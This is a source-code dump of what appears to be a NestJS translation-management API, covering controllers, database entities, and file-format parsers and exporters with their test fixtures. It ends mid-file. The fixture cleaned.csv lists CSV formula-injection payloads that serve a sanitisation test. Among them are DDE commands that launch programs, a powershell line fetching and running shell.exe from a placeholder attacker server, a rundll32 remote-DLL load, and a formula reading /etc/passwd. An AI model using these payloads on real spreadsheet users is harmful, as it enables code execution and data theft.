ApiExcludeEndpoint } from '@nestjs/swagger'; 5 | 6 | @Controller() 7 | export default class IndexController { 8 | @Get('*') 9 | @ApiExcludeEndpoint() 10 | async index(@Res() res) { 11 | res.sendFile(resolve(config.publicDir, 'index.html')); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /api/src/controllers/locale.controller.ts: -------------------------------------------------------------------------------- 1 | import { Controller, Get, Req, UseGuards, HttpStatus } from '@nestjs/common'; 2 | import { AuthGuard } from '@nestjs/passport'; 3 | import { InjectRepository } from '@nestjs/typeorm'; 4 | import { Repository } from 'typeorm'; 5 | import { Locale } from '../entity/locale.entity'; 6 | import { ApiOAuth2, ApiTags, ApiOperation, ApiResponse } from '@nestjs/swagger'; 7 | import { ListLocalesResponse } from '../domain/http'; 8 | 9 | @Controller('api/v1/locales') 10 | @UseGuards(AuthGuard()) 11 | @ApiTags('Locales') 12 | export default class LocaleController { 13 | constructor(@InjectRepository(Locale) private localeRepo: Repository) {} 14 | 15 | @Get() 16 | @ApiOAuth2([]) 17 | @ApiOperation({ summary: 'List all available locales' }) 18 | @ApiResponse({ status: HttpStatus.OK, description: 'Success', type: ListLocalesResponse }) 19 | @ApiResponse({ status: HttpStatus.UNAUTHORIZED, description: 'Unauthorized' }) 20 | async find(@Req() req) { 21 | const locales = await this.localeRepo.find({ take: 1000 }); 22 | return { 23 | data: locales.map(l => ({ 24 | code: l.code, 25 | language: l.language, 26 | region: l.region, 27 | })), 28 | }; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /api/src/controllers/project-plan.controller.ts: -------------------------------------------------------------------------------- 1 | import { Controller, Get, Param, Req, UseGuards, HttpStatus } from '@nestjs/common'; 2 | import { AuthGuard } from '@nestjs/passport'; 3 | import { ProjectAction } from '../domain/actions'; 4 | import AuthorizationService from '../services/authorization.service'; 5 | import { ApiOAuth2, ApiTags, ApiResponse, ApiOperation } from '@nestjs/swagger'; 6 | import { ProjectPlanResponse } from '../domain/http'; 7 | 8 | @Controller('api/v1/projects') 9 | @UseGuards(AuthGuard()) 10 | @ApiOAuth2([]) 11 | @ApiTags('Project Plans') 12 | export default class ProjectPlanController { 13 | constructor(private auth: AuthorizationService) {} 14 | 15 | @Get(':projectId/plan') 16 | @ApiOperation({ summary: `Get a project's plan` }) 17 | @ApiResponse({ status: HttpStatus.OK, description: 'Success', type: ProjectPlanResponse }) 18 | @ApiResponse({ status: HttpStatus.NOT_FOUND, description: 'Not found' }) 19 | @ApiResponse({ status: HttpStatus.UNAUTHORIZED, description: 'Unauthorized' }) 20 | async find(@Req() req, @Param('projectId') projectId: string) { 21 | const user = this.auth.getRequestUserOrClient(req, { mustBeUser: true }); 22 | const membership = await this.auth.authorizeProjectAction(user, projectId, ProjectAction.ViewProjectPlan); 23 | return { 24 | data: membership.project.plan, 25 | }; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /api/src/decorators/api-file.decorator.ts: -------------------------------------------------------------------------------- 1 | import { ApiBody } from '@nestjs/swagger'; 2 | 3 | export const ApiFile = 4 | (fileName: string = 'file'): MethodDecorator => 5 | (target: any, propertyKey: string, descriptor: PropertyDescriptor) => { 6 | ApiBody({ 7 | schema: { 8 | type: 'object', 9 | properties: { 10 | [fileName]: { 11 | type: 'string', 12 | format: 'binary', 13 | }, 14 | }, 15 | }, 16 | })(target, propertyKey, descriptor); 17 | }; 18 | -------------------------------------------------------------------------------- /api/src/domain/formatters.ts: -------------------------------------------------------------------------------- 1 | export interface IntermediateTranslationFormat { 2 | iso?: string; 3 | translations: IntermediateTranslation[]; 4 | } 5 | 6 | export type Parser = (payload: string) => Promise; 7 | 8 | export type Exporter = (data: IntermediateTranslationFormat) => Promise; 9 | 10 | export interface IntermediateTranslation { 11 | term: string; 12 | translation: string; 13 | } 14 | -------------------------------------------------------------------------------- /api/src/domain/validators.ts: -------------------------------------------------------------------------------- 1 | export function normalizeEmail(email: string): string { 2 | const [user, rest] = email.split('@'); 3 | return `${user}@${rest.toLowerCase()}`; 4 | } 5 | -------------------------------------------------------------------------------- /api/src/entity/base.ts: -------------------------------------------------------------------------------- 1 | import { CreateDateColumn, UpdateDateColumn } from 'typeorm'; 2 | 3 | export class AccessTimestamps { 4 | @CreateDateColumn({ type: 'timestamp' }) 5 | created: Date; 6 | 7 | @UpdateDateColumn({ type: 'timestamp' }) 8 | modified: Date; 9 | } 10 | -------------------------------------------------------------------------------- /api/src/entity/invite.entity.ts: -------------------------------------------------------------------------------- 1 | import { Entity, PrimaryGeneratedColumn, Column, ManyToOne } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | import { Project } from './project.entity'; 4 | import { ProjectRole } from './project-user.entity'; 5 | 6 | export enum InviteStatus { 7 | Sent = 'sent', 8 | Accepted = 'accepted', 9 | } 10 | 11 | @Entity() 12 | export class Invite { 13 | @PrimaryGeneratedColumn('uuid') 14 | id: string; 15 | 16 | @Column() 17 | email: string; 18 | 19 | @Column({ nullable: false, type: 'enum', enum: InviteStatus, default: InviteStatus.Sent }) 20 | status: InviteStatus; 21 | 22 | @ManyToOne(() => Project, { onDelete: 'CASCADE' }) 23 | project: Project; 24 | 25 | @Column({ nullable: false, type: 'enum', enum: ProjectRole, default: ProjectRole.Viewer }) 26 | role: ProjectRole; 27 | 28 | @Column(type => AccessTimestamps) 29 | date: AccessTimestamps; 30 | } 31 | -------------------------------------------------------------------------------- /api/src/entity/label.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, Index, JoinColumn, ManyToOne, PrimaryGeneratedColumn, ManyToMany, JoinTable } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | import { Project } from './project.entity'; 4 | import { Term } from './term.entity'; 5 | import { Translation } from './translation.entity'; 6 | 7 | @Entity() 8 | @Index(['project', 'value'], { unique: true }) 9 | export class Label { 10 | @PrimaryGeneratedColumn('uuid') 11 | id: string; 12 | 13 | @Column({ length: 255 }) 14 | value: string; 15 | 16 | @Column({ length: 8 }) 17 | color: string; 18 | 19 | @ManyToOne(() => Project, { onDelete: 'CASCADE', nullable: false }) 20 | @JoinColumn() 21 | project: Project; 22 | 23 | @ManyToMany(() => Term, term => term.labels, { cascade: true }) 24 | @JoinTable() 25 | terms: Term[]; 26 | 27 | @ManyToMany(() => Translation, translation => translation.labels, { cascade: true }) 28 | @JoinTable() 29 | translations: Translation[]; 30 | } 31 | -------------------------------------------------------------------------------- /api/src/entity/locale.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, PrimaryColumn } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | 4 | @Entity() 5 | export class Locale { 6 | @PrimaryColumn({ length: 255 }) 7 | code: string; 8 | 9 | @Column({ length: 255 }) 10 | language: string; 11 | 12 | @Column({ length: 255 }) 13 | region: string; 14 | 15 | @Column(type => AccessTimestamps) 16 | date: AccessTimestamps; 17 | } 18 | -------------------------------------------------------------------------------- /api/src/entity/plan.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, PrimaryColumn } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | 4 | @Entity() 5 | export class Plan { 6 | @PrimaryColumn('varchar') 7 | code: string; 8 | 9 | @Column() 10 | name: string; 11 | 12 | @Column() 13 | maxStrings: number; 14 | 15 | @Column(type => AccessTimestamps) 16 | date: AccessTimestamps; 17 | } 18 | -------------------------------------------------------------------------------- /api/src/entity/project-client.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, ManyToOne, PrimaryGeneratedColumn } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | import { ProjectRole } from './project-user.entity'; 4 | import { Project } from './project.entity'; 5 | import { config } from '../config'; 6 | 7 | @Entity() 8 | export class ProjectClient { 9 | @PrimaryGeneratedColumn('uuid') 10 | id: string; 11 | 12 | @Column() 13 | name: string; 14 | 15 | @Column({ nullable: false, type: 'enum', enum: ProjectRole, default: ProjectRole.Viewer }) 16 | role: ProjectRole; 17 | 18 | @Column(config.db.default.type === 'postgres' ? { type: 'bytea' } : { type: 'binary', length: 60 }) 19 | encryptedSecret: Buffer; 20 | 21 | @ManyToOne(() => Project, { onDelete: 'CASCADE' }) 22 | project: Project; 23 | 24 | @Column(type => AccessTimestamps) 25 | date: AccessTimestamps; 26 | } 27 | -------------------------------------------------------------------------------- /api/src/entity/project-locale.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, Index, ManyToOne, PrimaryGeneratedColumn, OneToMany, JoinColumn } from 'typeorm'; 2 | 3 | import { AccessTimestamps } from './base'; 4 | import { Locale } from './locale.entity'; 5 | import { Project } from './project.entity'; 6 | import { Translation } from './translation.entity'; 7 | 8 | @Entity() 9 | @Index(['project', 'locale'], { unique: true }) 10 | export class ProjectLocale { 11 | @PrimaryGeneratedColumn('uuid') 12 | id: string; 13 | 14 | @ManyToOne(() => Locale, { onDelete: 'CASCADE' }) 15 | locale: Locale; 16 | 17 | @ManyToOne(() => Project, { onDelete: 'CASCADE' }) 18 | project: Project; 19 | 20 | @OneToMany(() => Translation, translation => translation.projectLocale) 21 | translations: Translation[]; 22 | 23 | @Column(type => AccessTimestamps) 24 | date: AccessTimestamps; 25 | } 26 | -------------------------------------------------------------------------------- /api/src/entity/project-user.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, Index, ManyToOne, PrimaryGeneratedColumn } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | import { Project } from './project.entity'; 4 | import { User } from './user.entity'; 5 | 6 | export enum ProjectRole { 7 | Admin = 'admin', 8 | Editor = 'editor', 9 | Viewer = 'viewer', 10 | } 11 | 12 | @Entity() 13 | @Index(['project', 'user'], { unique: true }) 14 | export class ProjectUser { 15 | @PrimaryGeneratedColumn('uuid') 16 | id: string; 17 | 18 | @Column({ nullable: false, type: 'enum', enum: ProjectRole, default: ProjectRole.Viewer }) 19 | role: ProjectRole; 20 | 21 | @ManyToOne(() => Project, { onDelete: 'CASCADE' }) 22 | project: Project; 23 | 24 | @ManyToOne(() => User, { onDelete: 'CASCADE' }) 25 | user: User; 26 | 27 | @Column(type => AccessTimestamps) 28 | date: AccessTimestamps; 29 | } 30 | -------------------------------------------------------------------------------- /api/src/entity/project.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, ManyToOne, PrimaryGeneratedColumn } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | import { Plan } from './plan.entity'; 4 | 5 | @Entity() 6 | export class Project { 7 | @PrimaryGeneratedColumn('uuid') 8 | id: string; 9 | 10 | @Column() 11 | name: string; 12 | 13 | @Column({ length: 255, default: null }) 14 | description: string; 15 | 16 | @Column({ default: 0 }) 17 | termsCount: number; 18 | 19 | @Column({ default: 0 }) 20 | localesCount: number; 21 | 22 | @ManyToOne(() => Plan, { onDelete: 'SET NULL' }) 23 | plan: Plan; 24 | 25 | @Column(type => AccessTimestamps) 26 | date: AccessTimestamps; 27 | } 28 | -------------------------------------------------------------------------------- /api/src/entity/term.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, Index, JoinColumn, ManyToMany, ManyToOne, OneToMany, PrimaryGeneratedColumn } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | import { Project } from './project.entity'; 4 | import { Label } from './label.entity'; 5 | import { Translation } from './translation.entity'; 6 | 7 | @Entity() 8 | @Index(['project', 'value'], { unique: true }) 9 | export class Term { 10 | @PrimaryGeneratedColumn('uuid') 11 | id: string; 12 | 13 | @Column() 14 | value: string; 15 | 16 | @Column({ 17 | nullable: true, 18 | }) 19 | context: string | null; 20 | 21 | @ManyToOne(() => Project, { onDelete: 'CASCADE', nullable: false }) 22 | @JoinColumn() 23 | project: Project; 24 | 25 | @OneToMany(() => Translation, translation => translation.term) 26 | @JoinColumn() 27 | translations: Translation[]; 28 | 29 | @ManyToMany(() => Label, label => label.terms) 30 | labels: Label[]; 31 | 32 | @Column(type => AccessTimestamps) 33 | date: AccessTimestamps; 34 | } 35 | -------------------------------------------------------------------------------- /api/src/entity/translation.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, JoinColumn, ManyToOne, PrimaryColumn, ManyToMany } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | import { ProjectLocale } from './project-locale.entity'; 4 | import { Term } from './term.entity'; 5 | import { Label } from './label.entity'; 6 | 7 | @Entity() 8 | export class Translation { 9 | @PrimaryColumn() 10 | termId: string; 11 | 12 | @PrimaryColumn() 13 | projectLocaleId: string; 14 | 15 | @Column({ type: 'text' }) 16 | value: string; 17 | 18 | @ManyToOne(type => Term, term => term.translations, { onDelete: 'CASCADE', nullable: false }) 19 | @JoinColumn() 20 | term: Term; 21 | 22 | @ManyToOne(type => ProjectLocale, { onDelete: 'CASCADE', nullable: false }) 23 | projectLocale: ProjectLocale; 24 | 25 | @ManyToMany(() => Label, label => label.translations) 26 | labels: Label[]; 27 | 28 | @Column(type => AccessTimestamps) 29 | date: AccessTimestamps; 30 | } 31 | -------------------------------------------------------------------------------- /api/src/entity/user.entity.ts: -------------------------------------------------------------------------------- 1 | import { Column, Entity, PrimaryGeneratedColumn } from 'typeorm'; 2 | import { AccessTimestamps } from './base'; 3 | import { config } from '../config'; 4 | 5 | @Entity() 6 | export class User { 7 | @PrimaryGeneratedColumn('uuid') 8 | id: string; 9 | 10 | @Column() 11 | name: string; 12 | 13 | @Column({ unique: true }) 14 | email: string; 15 | 16 | @Column(config.db.default.type === 'postgres' ? { type: 'bytea', nullable: true } : { type: 'binary', length: 60, nullable: true }) 17 | encryptedPassword: Buffer; 18 | 19 | @Column(config.db.default.type === 'postgres' ? { type: 'bytea', nullable: true } : { nullable: true }) 20 | encryptedPasswordResetToken: Buffer; 21 | 22 | @Column({ 23 | type: 'timestamp', 24 | nullable: true, 25 | precision: 6, 26 | }) 27 | passwordResetExpires: Date; 28 | 29 | @Column({ type: 'int', default: 0 }) 30 | loginAttempts: number; 31 | 32 | @Column({ 33 | type: 'timestamp', 34 | nullable: true, 35 | precision: 6, 36 | }) 37 | lastLogin: Date; 38 | 39 | @Column({ 40 | type: 'int', 41 | nullable: false, 42 | default: 0, 43 | }) 44 | numProjectsCreated: number; 45 | 46 | @Column(type => AccessTimestamps) 47 | date: AccessTimestamps; 48 | } 49 | -------------------------------------------------------------------------------- /api/src/errors/index.ts: -------------------------------------------------------------------------------- 1 | import { HttpException, HttpStatus } from '@nestjs/common'; 2 | 3 | export class TooManyRequestsException extends HttpException { 4 | constructor(message?: string | object | any, error: string = 'TooManyRequests') { 5 | super(HttpException.createBody(message, error, HttpStatus.TOO_MANY_REQUESTS), HttpStatus.TOO_MANY_REQUESTS); 6 | } 7 | } 8 | export class ConflictException extends HttpException { 9 | constructor(message?: string | object | any, error: string = 'AlreadyExists') { 10 | super(HttpException.createBody(message, error, HttpStatus.CONFLICT), HttpStatus.CONFLICT); 11 | } 12 | } 13 | 14 | export class PaymentRequiredException extends HttpException { 15 | constructor(message?: string | object | any, error: string = 'PaymentRequired') { 16 | super(HttpException.createBody(message, error, HttpStatus.PAYMENT_REQUIRED), HttpStatus.PAYMENT_REQUIRED); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /api/src/formatters/csv.spec.ts: -------------------------------------------------------------------------------- 1 | import { csvExporter, csvParser } from './csv'; 2 | import { loadFixture, riskyPayloads, simpleFormatFixture } from './fixtures'; 3 | 4 | test('should parse csv files', async () => { 5 | const input = loadFixture('simple.csv'); 6 | const result = await csvParser(input); 7 | expect(result).toEqual(simpleFormatFixture); 8 | }); 9 | 10 | test('should fail if file is malformed, invalid or empty', async () => { 11 | const inputs = [ 12 | 'term.one, translation\nterm.two in new line and no second column', 13 | 'term.one', 14 | 'term.one: translation', 15 | 'term.one, translation,', 16 | 'term.one, val1, val2', 17 | ]; 18 | 19 | expect.assertions(inputs.length); 20 | 21 | for (const input of inputs) { 22 | await expect(csvParser(input)).rejects.toBeDefined(); 23 | } 24 | }); 25 | 26 | test('should export csv files', async () => { 27 | const result = (await csvExporter(simpleFormatFixture)).toString().split(/\r?\n/).filter(Boolean); 28 | const expected = loadFixture('simple.csv').split(/\r?\n/); 29 | expect(result).toEqual(expected); 30 | }); 31 | 32 | test('should remove risky characters from risky payloads and export csv files', async () => { 33 | const result = (await csvExporter(riskyPayloads)).toString().split(/\r?\n/).filter(Boolean); 34 | const expected = loadFixture('cleaned.csv').toString().split(/\r?\n/).filter(Boolean); 35 | expect(result).toEqual(expected); 36 | }); 37 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/android-quotes-in.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | I\'m a translation with a quote 4 | "I'm a translation with a double quote" 5 | I\'m a mixed translation with an escaped \"double quote\" and "two single ' quotes" 6 | The special chars are \@ \? < & \' and \" 7 | "I\'m one \"funny looking\" "translation"..." 8 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/android-quotes-out.xml: -------------------------------------------------------------------------------- 1 | I\'m a translation with a quoteI\'m a translation with a double quoteI\'m a mixed translation with an escaped \"double quote\" and two single \' quotesThe special chars are \@ \? < & \' and \"I\'m one \"funny looking\" translation... -------------------------------------------------------------------------------- /api/src/formatters/fixtures/cleaned.csv: -------------------------------------------------------------------------------- 1 | "HYPERLINK('https://www.google.com', 'Google')",hyperlink function in excel 2 | HYPERLINK(CONCATENATE('http://0.0.0.0:80/123.txt?v='; ('file:///etc/passwd'#$passwd.A1)); 'test-poc'),hyperlink concatenate function in csv 3 | cmd|' /C calc'!A0,to open the calculator application on the target machine (calculator automatic open command) 4 | SUM(1+9)*cmd|' /C calc'!A0,to open the calculator application on the target machine (calculator automatic open command) 5 | 10+20+cmd|' /C calc'!A0,to open the calculator application on the target machine (calculator automatic open command) 6 | cmd|' /C notepad'!'A1',to open the calculator application on the target machine (notepad automatic open command) 7 | cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0,wget attacker server shell 8 | "cmd|'/c rundll32.exe \10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1",rundll32 extension -------------------------------------------------------------------------------- /api/src/formatters/fixtures/double-and-single-quotes.php: -------------------------------------------------------------------------------- 1 | 'this translation also has "double quotes" and \'single\' quotes with a literal \\',]; -------------------------------------------------------------------------------- /api/src/formatters/fixtures/double-quotes-in.php: -------------------------------------------------------------------------------- 1 | "this translation also has \"double quotes\""]; -------------------------------------------------------------------------------- /api/src/formatters/fixtures/double-quotes-out.php: -------------------------------------------------------------------------------- 1 | 'this translation also has "double quotes"',]; -------------------------------------------------------------------------------- /api/src/formatters/fixtures/function-name-flat.json: -------------------------------------------------------------------------------- 1 | { 2 | "term.one": "data.VWAnalyticssaleorder.docdate.day", 3 | "term.two.hour": "data.VWAnalyticssaleorder.docdate", 4 | "term.three": "UPDATE_SCHEDULER_SCREEN.EDIT_EVENT.HOURS", 5 | "data.VWAnalyticssaleorder.docdate.day": "foo", 6 | "UPDATE_SCHEDULER_SCREEN.EDIT_EVENT.HOURS": "bar" 7 | } 8 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/function-name-nested.json: -------------------------------------------------------------------------------- 1 | { 2 | "term": { 3 | "one": "data.VWAnalyticssaleorder.docdate.day", 4 | "two": { 5 | "hour": "data.VWAnalyticssaleorder.docdate" 6 | }, 7 | "three": "UPDATE_SCHEDULER_SCREEN.EDIT_EVENT.HOURS" 8 | }, 9 | "data": { 10 | "VWAnalyticssaleorder": { 11 | "docdate": { 12 | "day": "foo" 13 | } 14 | } 15 | }, 16 | "UPDATE_SCHEDULER_SCREEN": { 17 | "EDIT_EVENT": { 18 | "HOURS": "bar" 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/resx-in.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | text/microsoft-resx 5 | 6 | 7 | 2.0 8 | 9 | 10 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 11 | 12 | 13 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 14 | 15 | 16 | Current Plan: {{ project.plan.name }} 17 | 18 | 19 | {VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} } 20 | 21 | 22 | Export format... 23 | 24 | 25 | hello there you\nthis should be in a newline 26 | 27 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple-android.xml: -------------------------------------------------------------------------------- 1 | Current Plan: {{ project.plan.name }}{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }Export format...hello there you\nthis should be in a newline -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple-context.po: -------------------------------------------------------------------------------- 1 | msgid "" 2 | msgstr "" 3 | "Content-Type: text/plain; charset=utf-8\n" 4 | "Content-Transfer-Encoding: 8bit\n" 5 | "MIME-Version: 1.0\n" 6 | "Language: de_DE\n" 7 | 8 | msgid "term.one" 9 | msgstr "Current Plan: {{ project.plan.name }}" 10 | 11 | msgctxt "my context" 12 | msgid "term two" 13 | msgstr "{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }" 14 | 15 | msgctxt "my context" 16 | msgid "TERM_THREE" 17 | msgstr "Export format..." 18 | 19 | msgctxt "my other context" 20 | msgid "term:four" 21 | msgstr "" 22 | "hello there you\\n" 23 | "this should be in a newline" -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple-flat.json: -------------------------------------------------------------------------------- 1 | { 2 | "term.one": "Current Plan: {{ project.plan.name }}", 3 | "term two": "{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }", 4 | "TERM_THREE": "Export format...", 5 | "term:four": "hello there you\\nthis should be in a newline" 6 | } 7 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple-flat.yaml: -------------------------------------------------------------------------------- 1 | term.one: 'Current Plan: {{ project.plan.name }}' 2 | term two: '{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }' 3 | TERM_THREE: Export format... 4 | term:four: hello there you\nthis should be in a newline 5 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple-nested.json: -------------------------------------------------------------------------------- 1 | { 2 | "term": { 3 | "one": "Current Plan: {{ project.plan.name }}" 4 | }, 5 | "term two": "{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }", 6 | "TERM_THREE": "Export format...", 7 | "term:four": "hello there you\\nthis should be in a newline" 8 | } 9 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple-nested.yaml: -------------------------------------------------------------------------------- 1 | term: 2 | one: 'Current Plan: {{ project.plan.name }}' 3 | term two: '{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }' 4 | TERM_THREE: Export format... 5 | term:four: hello there you\nthis should be in a newline 6 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple.csv: -------------------------------------------------------------------------------- 1 | term.one,Current Plan: {{ project.plan.name }} 2 | term two,"{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }" 3 | TERM_THREE,Export format... 4 | term:four,hello there you\nthis should be in a newline -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple.php: -------------------------------------------------------------------------------- 1 | ['one'=>'Current Plan: {{ project.plan.name }}',],'term two'=>'{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }','TERM_THREE'=>'Export format...','term:four'=>'hello there you\nthis should be in a newline',]; -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple.po: -------------------------------------------------------------------------------- 1 | msgid "" 2 | msgstr "" 3 | "Content-Type: text/plain; charset=utf-8\n" 4 | "Content-Transfer-Encoding: 8bit\n" 5 | "MIME-Version: 1.0\n" 6 | "Language: de_DE\n" 7 | 8 | msgid "term.one" 9 | msgstr "Current Plan: {{ project.plan.name }}" 10 | 11 | msgid "term two" 12 | msgstr "{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }" 13 | 14 | msgid "TERM_THREE" 15 | msgstr "Export format..." 16 | 17 | msgid "term:four" 18 | msgstr "" 19 | "hello there you\\n" 20 | "this should be in a newline" -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple.properties: -------------------------------------------------------------------------------- 1 | term.one = Current Plan: {{ project.plan.name }} 2 | term\ two = {VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} } 3 | TERM_THREE = Export format... 4 | term\:four = hello there you\\nthis should be in a newline -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple.strings: -------------------------------------------------------------------------------- 1 | "term.one" = "Current Plan: {{ project.plan.name }}"; 2 | "term two" = "{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }"; 3 | "TERM_THREE" = "Export format..."; 4 | "term:four" = "hello there you\nthis should be in a newline"; 5 | -------------------------------------------------------------------------------- /api/src/formatters/fixtures/simple.xliff: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Current Plan: {{ project.plan.name }} 7 | Current Plan: {{ project.plan.name }} 8 | 9 | 10 | {VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} } 11 | {VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} } 12 | 13 | 14 | Export format... 15 | Export format... 16 | 17 | 18 | hello there you\nthis should be in a newline 19 | hello there you\nthis should be in a newline 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /api/src/formatters/gettext.spec.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture, simpleFormatFixture } from './fixtures'; 2 | import { gettextExporter, gettextParser } from './gettext'; 3 | 4 | test('should parse gettext files', async () => { 5 | const input = loadFixture('simple.po'); 6 | const result = await gettextParser(input); 7 | expect(result).toEqual(simpleFormatFixture); 8 | }); 9 | 10 | test('should parse gettext files with context', async () => { 11 | const input = loadFixture('simple-context.po'); 12 | const result = await gettextParser(input); 13 | expect(result).toEqual(simpleFormatFixture); 14 | }); 15 | 16 | test('should export gettext files', async () => { 17 | const result = await gettextExporter({ ...simpleFormatFixture, iso: 'de_DE' }); 18 | const expected = loadFixture('simple.po'); 19 | expect(result).toEqual(expected); 20 | }); 21 | -------------------------------------------------------------------------------- /api/src/formatters/jsonflat.ts: -------------------------------------------------------------------------------- 1 | import { Exporter, IntermediateTranslationFormat, Parser } from '../domain/formatters'; 2 | 3 | export const jsonFlatParser: Parser = async (data: string) => { 4 | const parsed = JSON.parse(data); 5 | const translations = []; 6 | if (Array.isArray(parsed) || typeof parsed !== 'object') { 7 | throw new Error('JSON contents are not of key:value format'); 8 | } 9 | for (const term of Object.keys(parsed)) { 10 | const translation = parsed[term]; 11 | if (typeof translation !== 'string' || typeof term !== 'string') { 12 | throw new Error('JSON contents are not of key:value format'); 13 | } 14 | translations.push({ 15 | term, 16 | translation, 17 | }); 18 | } 19 | return { 20 | translations, 21 | }; 22 | }; 23 | 24 | export const jsonFlatExporter: Exporter = async (data: IntermediateTranslationFormat) => 25 | JSON.stringify( 26 | data.translations.reduce((acc, x) => ({ ...acc, [x.term]: x.translation }), {}), 27 | null, 28 | 4, 29 | ); 30 | -------------------------------------------------------------------------------- /api/src/formatters/properties.spec.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture, simpleFormatFixture } from './fixtures'; 2 | import { propertiesExporter, propertiesParser } from './properties'; 3 | 4 | test('should parse properties files', async () => { 5 | const input = loadFixture('simple.properties'); 6 | const result = await propertiesParser(input); 7 | expect(result).toEqual(simpleFormatFixture); 8 | }); 9 | 10 | test('should encode and decode properties files with ISO-8859-1 by default', async () => { 11 | const encodedLiteral = String.raw`term.one = Tous les soci\u00e9t\u00e9s`; 12 | 13 | const decoded = { 14 | translations: [ 15 | { 16 | term: 'term.one', 17 | translation: 'Tous les sociétés', 18 | }, 19 | ], 20 | }; 21 | 22 | { 23 | const result = await propertiesParser(encodedLiteral); 24 | expect(result).toEqual(decoded); 25 | } 26 | 27 | { 28 | const result = await propertiesExporter(decoded); 29 | expect(result).toEqual(encodedLiteral); 30 | } 31 | }); 32 | 33 | test('should export properties files', async () => { 34 | const result = await propertiesExporter(simpleFormatFixture); 35 | const expected = loadFixture('simple.properties'); 36 | expect(result.toString()).toEqual(expected); 37 | }); 38 | -------------------------------------------------------------------------------- /api/src/formatters/properties.ts: -------------------------------------------------------------------------------- 1 | import * as properties from 'properties'; 2 | import { Exporter, IntermediateTranslationFormat, Parser } from '../domain/formatters'; 3 | import * as native2ascii from 'node-native2ascii'; 4 | 5 | export const propertiesParser: Parser = async (data: string) => { 6 | const parsed = await new Promise((resolve, reject) => { 7 | properties.parse( 8 | data, 9 | { 10 | strict: true, 11 | comments: [';', '#'], 12 | include: false, 13 | separators: ['='], 14 | sections: false, 15 | unicode: true, 16 | }, 17 | (error, obj) => { 18 | if (error) return reject(error); 19 | resolve(obj); 20 | }, 21 | ); 22 | }); 23 | 24 | const translations = []; 25 | for (const term of Object.keys(parsed)) { 26 | const translation = parsed[term] || ''; 27 | translations.push({ 28 | term, 29 | translation, 30 | }); 31 | } 32 | 33 | return { 34 | translations, 35 | }; 36 | }; 37 | 38 | export const propertiesExporter: Exporter = async (data: IntermediateTranslationFormat) => { 39 | const out = data.translations.reduce((acc, obj) => ({ ...acc, [obj.term]: obj.translation }), {}); 40 | const result = properties.stringify(out); 41 | return native2ascii(result); 42 | }; 43 | -------------------------------------------------------------------------------- /api/src/formatters/resx-spec.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture, simpleFormatFixture } from './fixtures'; 2 | import { resXExporter, resXParser } from './resx'; 3 | 4 | test('should parse resx resources files', async () => { 5 | const input = loadFixture('resx-in.resx'); 6 | const result = await resXParser(input); 7 | expect(result).toEqual(simpleFormatFixture); 8 | }); 9 | 10 | test('should export resx resources files', async () => { 11 | const result = await resXExporter({ 